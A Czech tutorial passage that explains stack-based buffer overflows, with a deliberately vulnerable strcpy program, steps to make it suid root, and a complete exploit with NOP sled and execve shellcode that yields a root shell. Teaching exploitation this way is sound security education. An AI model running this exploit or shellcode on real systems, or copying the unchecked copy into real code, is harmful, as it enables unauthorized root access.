Přetečení zásobníku

Vraťme se ještě k poslednímu příkladu. Když se zavolá funkce overflow_ function(), vytvoří se na stacku rámec zásobníku. Když je funkce poprvé zavolána, rámec zásobníku vypadá zhruba takto:
buffer
stack frame pointer (sfp)
návratová adresa (ret)
*str (argument funkce)
zbytek zásobníku Když se funkce pokusí zapsat 128 bajtů dat do 20bajtového bufferu, zbývajících 108 bajtů přepíše ukazatel na rámec, návratovou adresu a argument str. Když funkce skončí, program se pokusí skočit na návratovou adresu, která je nyní vyplněna samými A, což je hexadecimálně 0x41. Program se pokusí vrátit na adresu 0x41414141 (tedy nastavit EIP na tuto hodnotu), což je neplatná adresa v paměťovém prostoru nebo tato část paměti obsahuje neplatné instrukce, v každém případě způsobí pád a ukončení programu. Tomuto se říká přetečení zásobníku ( stack-based overflow), protože přetečení nastane v paměťovém segmentu stack. Přetečení mohou nastat i v jiných segmentech paměti, jako je třeba halda nebo segment bss, ale to, co je na přetečení zásobníku nejzajímavější, je fakt, že se přepisuje návratová adresa. Na program padajícímu kvůli této chybě není nic tak zajímavého, ale na důvodu proč ve skutečnosti padá už ano. Kdyby byla návratová hodnota řízeně přepsána jinou hodnotou než je 0x41414141, jako třeba adresou platného spustitelného kódu v paměti, tak by se tam program „vrátil“ a tento kód by spustil místo toho, aby se zhroutil. A pokud jsou data, která přetečou přes návratovou adresu, založena na uživatelském vstupu, jako je třeba hodnota zadaná do políčka pro uživatelské jméno, návratová adresa a tím i následující tok vykonávání programu může být řízen uživatelem. Protože je možné změnit návratovou adresu a tok vykonávání zneužitím přetečení bufferu, vše, co nyní potřebujeme, je něco užitečného spustit. Zde vstupuje na scénu infekce kódu ( bytecode infection). Tím je chytře navržený kus assemblerovského kódu, který může být vložen do bufferu. Takový kód má několik omezení: kód musí být samostatný a nesmí obsahovat speciální znaky v instrukcích, protože by měl vypadat jako data v bufferu. Jedním z nejpoužívanějších typu kódu je tzv. shellkód ( shellcode), který spouští shell (příkazový interpret). Jestliže se útočníkovi povede obelstít nějaký suid root program tak, aby spustil shellkód, získá tak plná rootovská práva nad celým systémem. Zde je příklad:


Výpis: vuln.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}



Toto je část zranitelného programu, podobná funkci overflow_function(), neboť se také snaží zkopírovat blok dat, na který ukazuje argument, do 500 bajtů velkého bufferu, bez ohledu na to, co může argument obsahovat. Po kompilaci a spuštění tohoto programu získáme celkem nezajímavé výsledky:


$ gcc -o vuln vuln.c
$ ./vuln test

Jak vidíte, program neudělá nic viditelného, kromě přepisu paměti. Teď program uděláme opravdu zranitelný tím, že předáme vlastnictví rootovi a nastavíme suid bit:


$ sudo chown root vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vuln



Nyní když je z vuln suid root program zranitelný na přetečení paměti, vše co potřebujeme, je jen vygenerovat kus kódu, který bychom programu podvrhli. Tento buffer by měl obsahovat požadovaný shellkód a měl by přepsat návratovou adresu na stack tak, že se při skončení funkce spustí uvedený shellkód. To znamená, že adresa shellkódu musí být předem známá, což může být v dynamickém zásobníku poněkud složité. Aby to nebylo tak jednoduché, 4 bajty návratové adresy uložené v rámci zásobníku musí být přepsány touto adresou. I když je známá adresa, ale není přepsaná správná oblast, program spadne a ukončí se. Pro rozlousknutí toho oříšku se používají dvě známé techniky. První se říká NOP sled ( NOP je zkratka pro no operation). To je jednobajtová instrukce, která nedělá vůbec nic. Občas se používá pro vyplýtvání výpočetních cyklů pro časovací účely a jsou nezbytné v procesorech Sparc kvůli pipeliningu instrukcí. V našem případě nám tato instrukce poslouží jinak. Vytvoříme velké pole NOPů a umístíme jej před shellkódem, Jestliže se EIP vrátí na nějakou adresu vně NOP sledu, EIP se bude neustále inkrementovat o jedníčku, až nakonec vykoná shellkód. Druhou technikou je zaplnění konce bufferu mnoha po sobě jdoucích návratových adres.

Takto bude vypadat náš vytvořený buffer:
NOP sled Shellkód Opakovaná návratová adresa
U obou těchto technik je zapotřebí znát alespoň přibližné umístění bufferu v paměti, abychom mohli uhodnout návratovou adresu. Jedna možnost, jak aproximovat umístění v paměti, je použít aktuální ukazatel na zásobník (registr ESP) jako vodítko. Odečtením tzv. offsetu ( posunutí v paměti) od ESP získáme relativní adresu libovolné proměnné. Protože je ve zranitelném programu prvním prvkem na zásobníku buffer, který se přepíše shellkódem, správná návratová adresa by měla být pointer na zásobník, takže offset by měl být blízko 0. NOP sled je užitečný při exploitování komplikovanějších programů, když offset není 0. Následuje kód exploitu, navržený tak, aby vytvořil buffer, vložil jej do zranitelného programu a donutil jej spustit vložený shellkód. Kód nejprve vezme aktuální ukazatel na zásobník a odečte od něj offset. V tomto případě je offset 0. Paměť pro buffer je alokovaná (na haldě) a celý buffer je vyplněný NOPy (ve strojovém jazyce má tato instrukce hodnotu 0x90). Shellkód je umístěný za NOPy a poslední část bufferu je vyplněna návratovou hodnotou. Protože se konec znakového bufferu označuje nulovým bajtem, je tento buffer také ukončený znakem 0.


Výpis: exploi t .c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // krátka funkce k získáni
{ __asm__("movl %esp, %eax");} // ukazatele na zásobník
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // offset je 0
esp = sp(); // vložíme ukazatel na zásobník do esp
ret = esp - offset; // přepíšeme návratovou adresu
printf(" Ukazatel na zásobník (ESP) : 0x%x\n", esp);
printf(" Offset z ESP : 0x%x\n", offset);
printf("Požadovaná návratová adresa : 0x%x\n", ret);
// Alokuj 600 bajtů pro buffer (na haldě)
buffer = malloc(600);
// Vyplň celý buffer požadovanou návratovou adresou
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Vyplň prvních 200 bajtů bufferu instrukcemi NOP
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Vlož shellkód za NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
// Ukonči řetězec
buffer[600-1] = 0;
// Nyní zavolej program ./vuln s novým bufferem jako jeho argumentem
execl("./vuln", "vuln", buffer, 0);
// Uvolni paměť
free(buffer);
return 0;
}


Tady jsou výsledky kompilace a spuštění exploitu:
$ gcc -o exploit exploit.c
$ ./exploit
Ukazatel na zásobník (ESP) : 0xbffff978
Offset z ESP : 0x0
Požadovaná návratová adresa : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#
Podle všeho to funguje. Návratová adresa v rámci zásobníku byla přepsaná hodnotou 0xbffff978, což se zdá být adresou NOP sledu a shellkódu. Protože se jednalo o suid root program a shellkód byl navržen tak, aby (jak už z názvu napovídá) útočníkovi spustil shell, zranitelný program spustil shellkód jako root, ačkoliv měl původní program pouze zkopírovat data a ukončit se.